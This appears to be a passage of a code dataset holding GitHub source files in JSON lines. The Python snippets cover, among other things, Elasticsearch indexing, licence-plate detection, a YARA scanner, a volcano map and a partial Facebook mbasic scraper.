None:\n print(\"Error: failed to find \" + ref.qname() + \" in \" + target.qname())\n # TODO: add marker to active CU\n break\n else:\n target = new_target\n \n ref_i += 1\n \n print(\"Resolve ref=\" + ref.toString() + \" => \" + str(target))\n\n ref.target = target\n \n return target","repo_name":"PSSTools/pssparser","sub_path":"src/pssparser/visitors/link_visitor.py","file_name":"link_visitor.py","file_ext":"py","file_size_in_byte":12630,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"40098440437","text":"n=input().split()\nx=list(n[0])\ncount=0\ny=list(n[1])\nfor i in range(0,len(x)):\n if(x[i]!=y[i]):\n count+=1\nif(count==1):\n print(\"yes\")\nelse:\n print(\"no\")\n","repo_name":"Pavithira99/Python-Programming","sub_path":"pl_10.py","file_name":"pl_10.py","file_ext":"py","file_size_in_byte":158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5044208545","text":"def printPowerSet(test_string: str):\n length = len(test_string)\n for i in range(2**length):\n bin_pattern = f'{i:0>{length}b}'\n str_pattern = ''\n for j in range(len(bin_pattern)):\n if bin_pattern[j] == '1':\n str_pattern = str_pattern + test_string[j]\n # print(str_pattern)\n printPermutationsWithAll(list(str_pattern), True)\n\n# Memoization dictionary\npermutationsDict = {}\n\ndef printPermutationsWithAll(test_string: list, willPrint: bool):\n all_strings = []\n\n if len(test_string) == 0:\n pass\n elif len(test_string) == 1:\n all_strings = test_string\n else:\n # Memoization\n key = tuple(sorted(test_string))\n value = permutationsDict.get(key, None)\n\n if value is not None:\n all_strings = value\n # print('memoization used')\n # print(permutationsDict)\n else:\n for char in test_string:\n test_string_without_char = test_string[:]\n test_string_without_char.remove(char)\n \n for i in printPermutationsWithAll(test_string_without_char, False):\n all_strings.append(f'{char}{i}')\n\n permutationsDict[key] = all_strings\n\n if willPrint:\n print(all_strings)\n else:\n return all_strings\n\n# printPermutationsWithAll(list('abcd'), True)\nprint(printPowerSet('abcd'))","repo_name":"akshaykhatter/practice-ds-algo","sub_path":"printAllPatternsString.py","file_name":"printAllPatternsString.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37923271458","text":"import pytest\nfrom quickmpc.exception import QMPCJobError\nfrom utils import data_frame, qmpc\n\n\n@pytest.mark.parametrize(\n (\"column\"),\n [\n # column index is outside left of range\n (0),\n\n # column index is outside right of range\n (3),\n ]\n)\ndef test_job_error_info(column: int):\n sdf = qmpc.send_to(data_frame([[1, 2], [3, 4]],\n columns=[\"s1\", \"s2\"]))\n\n err_info = None\n try:\n sdf.sum([column]).to_data_frame()\n except QMPCJobError as e:\n err_info = e.err_info\n\n assert (err_info is not None)\n assert (err_info.what != '')\n assert (err_info.HasField(\"stacktrace\"))\n","repo_name":"acompany-develop/QuickMPC","sub_path":"scripts/libclient/src/tests/test_job_error_info.py","file_name":"test_job_error_info.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"48"} +{"seq_id":"20852122579","text":"from elasticsearch import Elasticsearch, helpers\nimport pandas as pd\n\nclient = Elasticsearch(HOST=\"http://localhost\", PORT=9200)\nINDEX = 'scientists'\n\ndf = pd.read_excel('Data\\Processed_Data.xlsx')\nprint(df.columns)\ndf2 = df.to_dict('records')\nprint(df2[0])\n\n\ndef generator(df2):\n for c, line in enumerate(df2):\n yield {\n '_index': INDEX,\n '_type': '_doc',\n '_id': c,\n '_source': {\n 'பெயர்': line.get('name', None),\n 'பிறந்தஆண்டு': line.get('birth_year', None),\n 'துறை': line.get('area_work', None),\n 'பங்களிப்புகள்': line.get('known_for', None),\n 'விருதுகள்': line.get('awards', None),\n 'சுருக்கம்': line.get('summary', None),\n 'உள்ளடக்கம்': line.get('content', None),\n\t\t\t\t'உரலி': line.get('url_page', None),\n }\n }\n\n\nsettings = {\n 'settings': {\n 'analysis': {\n 'analyzer': {\n 'my_analyzer': {\n 'type': 'custom',\n 'tokenizer': 'standard',\n 'filter': [\n 'tamil_synonym',\n 'tamil_stopwords',\n 'tamil_stemmer'\n ]\n }\n },\n 'filter': {\n 'tamil_synonym': {\n 'type': 'synonym',\n 'synonyms_path': 'analyzer/synonym.txt'\n },\n \"tamil_stop\": {\n \"type\": \"stop\",\n \"stopwords\": 'analyzer/TamilStopWords.txt'\n },\n \"tamil_stemmer\": {\n \"type\": \"stemmer\",\n \"rules_path\": \"analyzer/stemmer.txt\"\n }\n }\n },\n 'number_of_shards': 1,\n 'number_of_replicas': 0\n },\n 'mappings': {\n 'properties': {\n 'பெயர்': {\n 'type': 'text'\n },\n 'பிறந்தஆண்டு': {\n 'type': 'short'\n },\n 'துறை': {\n 'type': 'text'\n },\n 'பங்களிப்புகள்': {\n 'type': 'text'\n },\n 'விருதுகள்': {\n 'type': 'text'\n },\n 'சுருக்கம்': {\n 'type': 'text'\n },\n 'உள்ளடக்கம்': {\n 'type': 'text'\n },\n 'உரலி': {\n 'type': 'text'\n }\n }\n }\n}\n\nresponse = client.indices.create(index=INDEX, ignore=[400, 404], body=settings)\nprint(response)\n\ntry:\n res = helpers.bulk(client, generator(df2))\n print('Working')\nexcept Exception as e:\n print(e)\n pass\n","repo_name":"KrishRN/Scientists-Search-Engine","sub_path":"indexUpload.py","file_name":"indexUpload.py","file_ext":"py","file_size_in_byte":2985,"program_lang":"python","lang":"ta","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74392184146","text":"import hashlib\nimport re\n\n\nasync def md5(fname: str) -> str:\n hash_md5 = hashlib.md5()\n with open(fname, \"rb\") as f:\n for chunk in iter(lambda: f.read(4096), b\"\"):\n hash_md5.update(chunk)\n return hash_md5.hexdigest()\n\n\ndef humanbytes(size: int) -> str:\n if size is None or isinstance(size, str):\n return \"\"\n\n power = 2**10\n raised_to_pow = 0\n dict_power_n = {0: \"\", 1: \"Ki\", 2: \"Mi\", 3: \"Gi\", 4: \"Ti\"}\n while size > power:\n size /= power\n raised_to_pow += 1\n return str(round(size, 2)) + \" \" + dict_power_n[raised_to_pow] + \"B\"\n\n\ndef time_formatter(seconds: int) -> str:\n minutes, seconds = divmod(seconds, 60)\n hours, minutes = divmod(minutes, 60)\n days, hours = divmod(hours, 24)\n tmp = (\n ((str(days) + \" day(s), \") if days else \"\")\n + ((str(hours) + \" hour(s), \") if hours else \"\")\n + ((str(minutes) + \" minute(s), \") if minutes else \"\")\n + ((str(seconds) + \" second(s), \") if seconds else \"\")\n )\n return tmp[:-2]\n\n\ndef human_to_bytes(size: str) -> int:\n units = {\n \"M\": 2**20,\n \"MB\": 2**20,\n \"G\": 2**30,\n \"GB\": 2**30,\n \"T\": 2**40,\n \"TB\": 2**40,\n }\n\n size = size.upper()\n if not re.match(r\" \", size):\n size = re.sub(r\"([KMGT])\", r\" \\1\", size)\n number, unit = [string.strip() for string in size.split()]\n return int(float(number) * units[unit])\n","repo_name":"Awesome-Prince/NekoRobot-3","sub_path":"NekoRobot/utils/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"48"} +{"seq_id":"2002103602","text":"from typing import List, Set\n\nfrom .._connection import _PostgresConnection\n\n\nclass EmojiHashesMixin(_PostgresConnection):\n async def is_emote_hash_filtered(self, emote_hash: str) -> bool:\n await self.cur.execute(\n \"SELECT 1 FROM emote_hashes WHERE emote_hash=%(emote_hash)s and filtered=true LIMIT 1\",\n parameters={\"emote_hash\": emote_hash}\n )\n results = await self.cur.fetchall()\n return bool(results)\n\n async def get_all_emote_hashes_filtered(self, emote_hashes: List[str]) -> Set[str]:\n await self.cur.execute(\n \"SELECT emote_hash FROM emote_hashes WHERE emote_hash=ANY(%(emote_hashes)s) and filtered=true\",\n parameters={\"emote_hashes\": emote_hashes}\n )\n results = await self.cur.fetchall()\n return set(hash for hash, in results)\n\n async def mark_emote_hash_filtered(self, emote_hash: str):\n await self.cur.execute(\n \"INSERT INTO emote_hashes (emote_hash, filtered) VALUES (%(emote_hash)s, true)\",\n parameters={\"emote_hash\": emote_hash}\n )\n","repo_name":"NQN-Discord/sql_helper","sub_path":"sql_helper/mixins/emoji_hashes.py","file_name":"emoji_hashes.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"70949024787","text":"import torch as th\nfrom typing import Optional, List, Union\nfrom pydantic import BaseModel\n\nfrom aimanager.generic.graph import GraphNetwork\nfrom aimanager.manager.manager import ArtificalManager\nfrom aimanager.generic.data import shift\n\n\nclass Round(BaseModel):\n round: int\n group: List[Union[str, int]]\n contribution: List[int]\n punishment: List[int]\n contribution_valid: List[bool]\n punishment_valid: List[bool]\n\n\nclass RoundExternal(BaseModel):\n round: int\n groups: List[str]\n contributions: List[int]\n punishments: List[Optional[int]]\n missing_inputs: List[bool]\n\n\ndef parse_round(round) -> Round:\n \"\"\"Parse round data from external to internal format.\"\"\"\n round = RoundExternal(**round)\n return Round(\n round=round.round - 1,\n group=round.groups,\n contribution=round.contributions,\n punishment=[p if p is not None else 0 for p in round.punishments],\n contribution_valid=[not m for m in round.missing_inputs],\n punishment_valid=[p is not None for p in round.punishments],\n ).dict()\n\n\ndef create_data(rounds, groups, default_values):\n \"\"\"Create data object for the algorithmic manager based on round records.\"\"\"\n\n def create_tensor(record_key, default_key):\n return th.tensor(\n [\n [\n [\n int(value)\n if (is_valid and g1 == g2)\n else int(default_values[default_key])\n for value, is_valid, g1 in zip(\n r[record_key], r[f\"{record_key}_valid\"], r[\"group\"]\n )\n ]\n for r in rounds\n ]\n for g2 in groups\n ],\n dtype=th.int64,\n )\n\n def create_bool_tensor(record_key):\n return th.tensor(\n [\n [\n [\n is_valid and g1 == g2\n for is_valid, g1 in zip(r[f\"{record_key}_valid\"], r[\"group\"])\n ]\n for r in rounds\n ]\n for g2 in groups\n ],\n dtype=th.bool,\n )\n\n contribution = create_tensor(\"contribution\", \"contribution\")\n contribution_valid = create_bool_tensor(\"contribution\")\n\n punishment = create_tensor(\"punishment\", \"punishment\")\n punishment_valid = create_bool_tensor(\"punishment\")\n\n group_size = len(rounds[-1][\"contribution\"])\n round_number = th.tensor(\n [[[r[\"round\"]] * group_size for r in rounds] for _ in range(len(groups))],\n dtype=th.int64,\n )\n\n data = {\n \"contribution\": contribution.permute(0, 2, 1),\n \"contribution_valid\": contribution_valid.permute(0, 2, 1),\n \"punishment\": punishment.permute(0, 2, 1),\n \"punishment_valid\": punishment_valid.permute(0, 2, 1),\n \"round_number\": round_number.permute(0, 2, 1),\n \"is_first\": round_number.permute(0, 2, 1) == 0,\n }\n\n calc_prev = [\"punishment\", \"contribution\", \"punishment_valid\", \"contribution_valid\"]\n data = {\n **data,\n **{f\"prev_{k}\": shift(data[k], default_values[k]) for k in calc_prev},\n }\n\n return data\n\n\nclass HumanManager:\n def __init__(self, model_path, **_):\n self.model = GraphNetwork.load(model_path, device=th.device(\"cpu\"))\n self.default_values = self.model.default_values\n\n def get_punishments(self, data):\n pred = self.model.predict(data, sample=True)[0]\n return pred\n\n\nclass RLManager:\n def __init__(self, model_path, **_):\n self.model = ArtificalManager.load(\n model_path, device=th.device(\"cpu\")\n ).policy_model\n self.default_values = self.model.default_values\n # self.model.u_encoder.refrence = \"contribution\"\n\n def get_punishments(self, data):\n # the round number only enteres the bias and hence does not effect the\n # output, set to zero to allow for larger rollout length\n data[\"round_number\"] = th.zeros_like(data[\"round_number\"])\n pred = self.model.predict(data, sample=False)[0]\n return pred\n\n\nclass DummyManager:\n def __init__(self, **_):\n self.model = None\n self.default_values = {\n \"contribution\": 0,\n \"punishment\": 0,\n \"contribution_valid\": False,\n \"punishment_valid\": False,\n }\n\n def get_punishments(self, data):\n return data[\"punishment\"]\n\n\nMANAGER_CLASS = {\"human\": HumanManager, \"rl\": RLManager, \"dummy\": DummyManager}\n\n\nclass MultiManager:\n def __init__(self, managers, n_steps=16):\n self.n_steps = n_steps\n self.managers = {\n k: MANAGER_CLASS[m[\"type\"]](**m, n_steps=n_steps)\n for k, m in managers.items()\n }\n self.groups = list(self.managers.keys())\n self.group_idx = {k: i for i, k in enumerate(managers.keys())}\n self.manager_info = managers\n\n def get_punishments_external(self, rounds: List[RoundExternal]):\n parse_rounds = [parse_round(r) for r in rounds]\n return self.get_punishments(parse_rounds)\n\n def get_punishments(self, rounds):\n # we use the batch dimension to seperate the different groups\n # we mask contributions and punishments corresponding to the groups\n # the batch size corresponds to the number of models\n # the data for both models is identical in principal, we compute them\n # seperately as the models might use different default values\n data = {\n k: create_data(rounds, self.groups, m.default_values)\n for k, m in self.managers.items()\n }\n\n punishment = {k: m.get_punishments(data[k]) for k, m in self.managers.items()}\n\n # we select from the model responds only those matching the right group\n # this is the same for all models and independent of the actual model of\n # the group\n # we also select the last punishment in the round dimension\n group = rounds[-1][\"group\"]\n group_idx = [self.group_idx[g] for g in group]\n\n punishment = {\n k: v[group_idx, th.arange(len(group_idx)), -1].tolist()\n for k, v in punishment.items()\n }\n\n # we select the punishment where the group matches the model\n matched_punishment = [\n punishment[g][i] if (g in punishment) else None for i, g in enumerate(group)\n ]\n\n return matched_punishment, punishment\n\n def get_info(self):\n return self.manager_info\n","repo_name":"center-for-humans-and-machines/algorithmic-institutions","sub_path":"aimanager/manager/api_manager.py","file_name":"api_manager.py","file_ext":"py","file_size_in_byte":6564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13216197056","text":"import numpy as np\nimport cv2\n\n\ndef get_license_plate(filename):\n # 读文件\n # 灰度化\n origin_image = cv2.imread(filename)\n # 高斯滤波\n gray_image = cv2.imread(filename)[:, :, 0]\n img = cv2.GaussianBlur(gray_image, (5, 5), 0)\n cv2.imwrite('step1_gaussian.bmp', img)\n\n # 垂直sobel(y方向)\n sobel_car = cv2.Sobel(img, cv2.CV_8U, 1, 0, ksize=3)\n cv2.imwrite('step2_sobel.bmp', sobel_car)\n\n # 边缘提取\n # edges = cv2.Canny(sobel_car, 10, 50)\n # cv2.imwrite('step2.bmp', edges)\n\n # 自适应二值化\n ret, binary_car = cv2.threshold(sobel_car, 0, 255, cv2.THRESH_OTSU)\n cv2.imwrite('step3_binary.bmp', binary_car)\n\n # 闭合\n kernelX = cv2.getStructuringElement(cv2.MORPH_RECT, (14, 5))\n close_car = cv2.morphologyEx(binary_car, cv2.MORPH_CLOSE, kernelX, iterations=1)\n cv2.imwrite('step4_close.bmp', close_car)\n\n kernelX = cv2.getStructuringElement(cv2.MORPH_RECT, (20, 1))\n kernelY = cv2.getStructuringElement(cv2.MORPH_RECT, (1, 19))\n\n # (横向)膨胀,腐蚀--横向闭合\n # 注意:次数很重要,否则横向无法闭合\n image = cv2.dilate(close_car, kernelX, 2)\n image = cv2.erode(image, kernelX, 4)\n image = cv2.dilate(close_car, kernelX, 2)\n cv2.imwrite('step5_X_dilate_erode.bmp', image)\n # (纵向)腐蚀,膨胀--纵向开启\n image = cv2.erode(image, kernelY)\n image = cv2.dilate(image, kernelY)\n cv2.imwrite('step5_Y_erode_dilate.bmp', image)\n\n # 中值滤波\n image = cv2.medianBlur(image, 5)\n cv2.imwrite('step5_dilate_erode.bmp', image)\n\n # 轮廓检测\n # cv2.RETR_EXTERNAL表示只检测外轮廓\n # cv2.CHAIN_APPROX_SIMPLE压缩水平方向,垂直方向,对角线方向的元素,只保留该方向的终点坐标,例如一个矩形轮廓只需4个点来保存轮廓信息\n contours, hierarchy = cv2.findContours(image, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n # 绘制轮廓\n image1 = origin_image.copy()\n cv2.drawContours(image1, contours, -1, (0, 0, 0), 2)\n cv2.imwrite('step6_contours.bmp', image1)\n\n # 筛选\n cnt = 0\n for i, item in enumerate(contours):\n # enumerate() 函数用于将一个可遍历的数据对象(如列表、元组或字符串)组合为一个索引序列,同时列出数据和数据下标,一般用在for循环当中\n # cv2.boundingRect用一个最小的矩形,把找到的形状包起来\n rect = cv2.boundingRect(item)\n # 左上角坐标\n x = rect[0]\n y = rect[1]\n # 宽和高\n weight = rect[2]\n height = rect[3]\n if (weight > (height * 2)) and (weight < (height * 5)) and height > 30:\n cnt = cnt + 1\n index = i\n image2 = origin_image.copy()\n cv2.drawContours(image2, contours, index, (255, 0, 0), 2)\n cv2.imwrite('step7_' + str(cnt) + '_license_plate.bmp', image2)\n\n\n# filename = '1.bmp'\n# filename = '2.bmp'\nfilename = '3.bmp'\n\nget_license_plate(filename)\n","repo_name":"Duan-shuai/license-plate-recognition","sub_path":"license_plate_recognition.py","file_name":"license_plate_recognition.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"7813735627","text":"import sys\nsys.stdin = open('sample_input.txt')\n\ndef backtrack(s=0, tot=0):\n global visited, ans, V, N\n if tot > ans:\n return\n if s == N:\n if tot < ans:\n ans = tot\n return\n for i in range(N):\n if not visited[i]:\n visited[i] = 1\n backtrack(s+1, tot+V[s][i])\n visited[i] = 0\n\nT = int(input())\n\nfor tc in range(1, T+1):\n N = int(input())\n V = [list(map(int, input().split())) for _ in range(N)]\n ans = 987654321\n visited = [0] * N\n backtrack()\n print('#{} {}'.format(tc, ans))","repo_name":"asooso1/ssafy_algorithm","sub_path":"1007/신동호/5209_최소_생산_비용/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13216207816","text":"from util import _get_hash, lcm\nfrom math import gcd\n\nclass GodelHashSet:\n def __init__(self, iter_vals = []):\n if not isinstance(iter_vals, (str, list)):\n raise ValueError(\"value must be string or list\")\n \n self.hash = 1\n for val in iter_vals:\n val_hash = _get_hash(val)\n if not self._contains(val_hash):\n self.hash *= val_hash\n\n def _contains(self, val_hash: int) -> bool:\n return self.hash % val_hash == 0\n\n def contains(self, val) -> bool:\n val_hash = _get_hash(val)\n return self._contains(val_hash)\n\n def add(self, val) -> bool:\n val_hash = _get_hash(val)\n if not self._contains(vals):\n self.hash *= val_hash\n return True\n else:\n return False\n\n def remove(self, val):\n val_hash = _get_hash(val)\n if self._contains(vals):\n self.hash //= val_hash\n return True\n else:\n return False\n\n def intersect(self, other_set):\n new_hash = gcd(self.hash, other.hash)\n new_set = GodelHashSet()\n new_set.hash = new_hash\n return new_set\n\n def union(self, other_set):\n new_hash = lcm(self.hash, other_set.hash)\n new_set = GodelHashSet()\n new_set.hash = new_hash\n return new_set\n\n def diff(self, other_set):\n new_hash = self.hash // gcd(self.hash, other_set.hash)\n new_set = GodelHashSet()\n new_set.hash = new_hash\n return new_set\n\n\nif __name__ == '__main__':\n empty_set = GodelHashSet()\n print(empty_set.hash)","repo_name":"durid-ah/godel_hash_set","sub_path":"godel_hash_set.py","file_name":"godel_hash_set.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18176140174","text":"#!/usr/bin/python3\n#\n# date: 11.28.2017\n# by; keith crowder\n# name: eye_color.v2.py\n# exercise 5-3\n#\nalien_color = 'green'\n#\nif 'red' in alien_color:\n print(\"You've got green eyes! Here's 5 points.\")\n#\n# end of program\n#\n","repo_name":"kcrowder/python","sub_path":"eye_color.v2.py","file_name":"eye_color.v2.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40693081153","text":"from time import sleep\nfrom functions.yara_app import *\nimport os\n\ndef main():\n while True:\n print(\"\"\"\n _ _ __ _ \n (_|_)_ _ / _| |_ _ ___ _ _ _____ _ \n | | | ' \\| _| | || / -_) ' \\|_ / _' |\n _/ |_|_||_|_| |_|\\_,_\\___|_||_/__\\__,_|\n |__/ \n Yara Rule Integration\n v0.1\n \"\"\")\n user_input = input(\"Which location do you want to scan? \") \n abpath = os.path.abspath(user_input)\n check_file_yara(abpath)\n user_choice = input(\"Do you want to quit? (y/n) \")\n if(user_choice == \"y\" or user_choice == \"Y\" or user_choice == \"yes\"):\n print(\"Thank you for using this application... \")\n sleep(2)\n exit(0)\n\nif __name__ == \"__main__\":\n main()","repo_name":"jinwoov/Python-Automation-Tools","sub_path":"yara-rule-scanner/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41588175814","text":"N = int(input())\n\nnums = list(map(int,input().split()))\nans = 0\n\nfor cur in range(N):\n first = nums[cur]\n prev = nums[cur]\n for i in range(cur+1,N):\n if prev >= nums[i]:\n ans = max(ans, abs(first - prev))\n cur = i\n break\n elif i == len(nums)-1:\n ans = max(ans, abs(first-nums[i]))\n prev = nums[i]\n\nprint(ans)\n\n","repo_name":"sanghwa1026/algorithm","sub_path":"BOJ/day210322/2846_오르막길.py","file_name":"2846_오르막길.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72754490066","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 24 12:00:20 2020\n\n@author: Felix Schürmann\n\"\"\"\nimport numpy as np\nimport datetime as dt\nimport os\nimport librosa\nimport numpy as np\nimport joblib\nimport sklearn\nfrom sklearn import preprocessing\nfrom pesq import pesq\n#from pystoi import stoi\nimport statistics\nfrom spnn import *\nfrom nets import *\n\nimport sys\nimport scipy\nimport matplotlib.mlab as mlab\nimport matplotlib.pyplot as plt\nfrom pathlib import Path\nfrom os.path import basename\nfrom tqdm import tqdm\npath = os.getcwd()\n\ndb_list=[0,5,15]\ndb=10\n\n#exit()\n\ndef histplot(data,xlab=\"SNR\",ylab=\"Häufigkeit\",binwidth=5,flatten=True):\n data = data.flatten()\n plt.hist(data, bins=range(min(data.astype(np.int)), max(data.astype(np.int)) + binwidth, binwidth),density=True)\n plt.xlabel(xlab)\n plt.ylabel(ylab)\n #plt.show()\n\ndef globalvariance(xin):\n gvmean=[]\n print (xin.shape)\n for i in tqdm(range(xin.shape[0])):\n g=xin[i,:].tolist()\n g = statistics.mean(g)\n gvmean.append(g)\n gvmean=np.array(gvmean)\n\n hssum=[]\n for d in tqdm(range(xin.shape[0])):\n hs=[]\n for j in range(xin.shape[1]):\n h= np.power(xin[d,j]-gvmean[d],2)\n hs.append(h)\n hssum.append(hs)\n hssum=np.array(hssum)\n\n gv=np.mean(hssum,axis=1)\n return gv\n\ndef globalvariance_independent(xin):\n m = np.mean(xin)\n allv = np.power(xin-m,2)\n allmean = np.mean(allv)\n return allmean\n\nq=3\nWIN_LEN=32\n\nNOISE_TYPE=\"Sirene\"\nNET_TYPE=\"cnn_oned_60\"\nnet1=neural_net(NET_TYPE,BINS=257,WIN_LEN=WIN_LEN,optimizer=\"adam\",loss=\"mean_squared_error\",metrics=[\"mae\"])\nmodel=net1.return_model()\nprint(model.summary())\nmodel.load_weights(\"60cnn_oned_32win_adam2350.h5\")\n\n\n\nplotlist_real=[]\nplotlist_inf=[]\nvarlist=[]\nfor db in db_list:\n\n print(db)\n print(\"Datensaetze werden geladen: \")\n X=joblib.load(path+\"\\\\\"+str(NOISE_TYPE)+'\\\\noisyspec_mix_db_'+str(db)+'.pkl')\n print(\"Noisy Data loaded! 50 % done\")\n y=joblib.load(path+\"\\\\\"+str(NOISE_TYPE)+'\\\\cleanspec_mix_db_'+str(db)+'.pkl')\n p=joblib.load(path+\"\\\\\"+str(NOISE_TYPE)+'\\\\noisyphase_mix_db_'+str(db)+'.pkl')\n cp=joblib.load(path+\"\\\\\"+str(NOISE_TYPE)+'\\\\cleanphase_mix_db_'+str(db)+'.pkl')\n print(\"Test Dataset loaded!\")\n\n xta= np.hstack(X)\n yta= np.hstack(y)\n p= np.hstack(p)\n cp= np.hstack(cp)\n\n\n mask = IRM2(xta,yta)\n mask = np.clip(mask,0,1)\n mask= np.array(mask)\n print(mask.shape)\n gv= globalvariance(mask)\n gv_i = globalvariance_independent(mask)\n mask = np.array(mask)\n mask = np.clip(mask,0,1)\n mask_part = mask[:,0:10000]\n mask_part_flat = mask_part.flatten()\n\n plotlist_real.append(mask_part_flat)\n\n\n num_bins = 40\n n, bins, patches = plt.hist(mask_part_flat, num_bins, density=True, facecolor='cornflowerblue', alpha=1)\n\n plt.xlabel('Gain Parameter')\n plt.ylabel('Häufigkeit')\n\n plt.title(r'Histogramm für Rauschtyp '+str(basename(path))+' bei '+str(db)+'db SNR')\n\n # Tweak spacing to prevent clipping of ylabel\n plt.subplots_adjust(left=0.15)\n plt.show()\n\n scaler = preprocessing.StandardScaler().fit(xta[0:1000])\n xta_minmax = scaler.fit_transform(xta)\n print(\"data scaling! using StandardScaler\")\n n,ph = inputs2(xta_minmax,p,0,10000,WIN_LEN)\n n= np.expand_dims(n,3)\n n=np.array(n)\n reg = model.predict(n)\n\n gvreg=globalvariance(np.transpose(reg))\n gv_i_reg=globalvariance_independent(reg)\n\n flatreg = reg.flatten()\n plotlist_inf.append(flatreg)\n varlist.append([gv_i,gv_i_reg])\n\n fig=plt.figure(figsize=(10,4),dpi=200)\n plt.plot(gv, 'b-', label=\"GV Gain GT\")\n plt.plot(gvreg, 'r--', label=\"GV Gain inferiert\")\n plt.legend()\n plt.show()\n\n\n\nnum_bins=20\n\ncolors = ['#E69F00', '#56B4E9']\nnames= [\"IRM\", \"IRM inferiert\"]\n\nfig=plt.figure(figsize=(10,4),dpi=200)\nplt.subplot(131)\nplt.title('0dB')\nplt.hist([plotlist_real[0], plotlist_inf[0]], bins = int(1/0.05), density=True,\n color = colors, label=names)\nplt.legend()\nplt.subplot(132)\nplt.title('5dB')\nplt.hist([plotlist_real[1], plotlist_inf[1]], bins = int(1/0.05), density=True,\n color = colors, label=names)\nplt.subplot(133)\nplt.title('15dB')\nplt.hist([plotlist_real[2], plotlist_inf[2]], bins = int(1/0.05), density=True,\n color = colors, label=names)\n\nfig.savefig(str(NET_TYPE)+' Histogramme_par'+str(NOISE_TYPE)+\".png\")\n","repo_name":"FelixSchuermann/speechenhancement-masterthesis","sub_path":"evaluation/gve_histogrammplot.py","file_name":"gve_histogrammplot.py","file_ext":"py","file_size_in_byte":4372,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"34170339421","text":"from turtle import fillcolor\nimport folium\nimport pandas\n\n#data = pandas.read_csv(\"C:\\\\Programovani\\\\Python\\\\mapping\\\\volcanoes.txt\")\ndata = pandas.read_csv(\"vul.csv\", sep=\";\")\nlat = list(data[\"LAT\"])\nlon = list(data[\"LON\"])\njmeno = list(data[\"Name\"])\ntyp = list(data[\"Type\"])\n#vyska = list(data[\"ELEV\"])\n\nmap = folium.Map(location=[50.09, 14.47], zoom_start=6, tiles=\"Stamen Terrain\")\nfg = folium.FeatureGroup(name=\"Map of Volcanoes\")\n\nfor lt, ln,nam, typ in zip(lat, lon, jmeno, typ):\n fg.add_child(folium.CircleMarker(location=[lt, ln],radius = 7,color='red',fill = True,fillcolor = 'red',popup=\"Name:\"+str(nam)+\"\\nType:\"+str(typ)))\n#icon=folium.Icon(color='red',icon_color='orange'\n#fg.add_child(folium.GeoJson(data=(open('world.json','r',encoding='utf-8-sig').read())))\n\nmap.add_child(fg)\n\nmap.save(\"Map1.html\")\n","repo_name":"Fofrando/volcano_map","sub_path":"map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25940497076","text":"from bs4 import BeautifulSoup\nfrom bs4 import SoupStrainer\nfrom dateutil.parser import *\nimport requests\nimport urllib.parse\nimport re\nimport urllib.request\nimport urllib.parse\nimport urllib.error\nimport bleach\nimport json\nimport datetime\n\n\n# allows us to get mobile version\nuser_agent_mobile = 'Mozilla/5.0 (Linux; Android 7.0; SM-G610M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36'\nuser_agent_desktop = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'\n\nbase_url = 'https://mbasic.facebook.com/'\nmax_title_length = 100\n\n\ndef get_remote_data(url, ismobile=True, referer=None):\n ''' fetch website data as mobile or desktop browser'''\n\n user_agent = user_agent_mobile if ismobile else user_agent_desktop\n headers = {'User-Agent': user_agent}\n\n if referer:\n headers['Referer'] = referer\n\n r = requests.get(url, headers=headers)\n return r.content\n\n\ndef is_valid_username(username):\n ''' validate username '''\n\n expr = r'^(?:pages\\/)?(?P[\\w\\-\\.]{3,50})(\\/\\d{3,50})?$'\n result = re.match(expr, username)\n\n display = result.group('display') if result else None\n\n return (result, display)\n\n\ndef strip_invalid_html(content):\n ''' strips invalid tags/attributes '''\n\n allowed_tags = ['a', 'abbr', 'acronym', 'address', 'b', 'br', 'div', 'dl', 'dt',\n 'em', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'hr', 'i', 'img',\n 'li', 'ol', 'p', 'pre', 'q', 's', 'small', 'strike', 'strong',\n 'span', 'sub', 'sup', 'table', 'tbody', 'td', 'tfoot', 'th',\n 'thead', 'tr', 'tt', 'u', 'ul']\n\n allowed_attrs = {\n 'a': ['href', 'target', 'title'],\n 'img': ['src', 'alt', 'width', 'height'],\n }\n\n 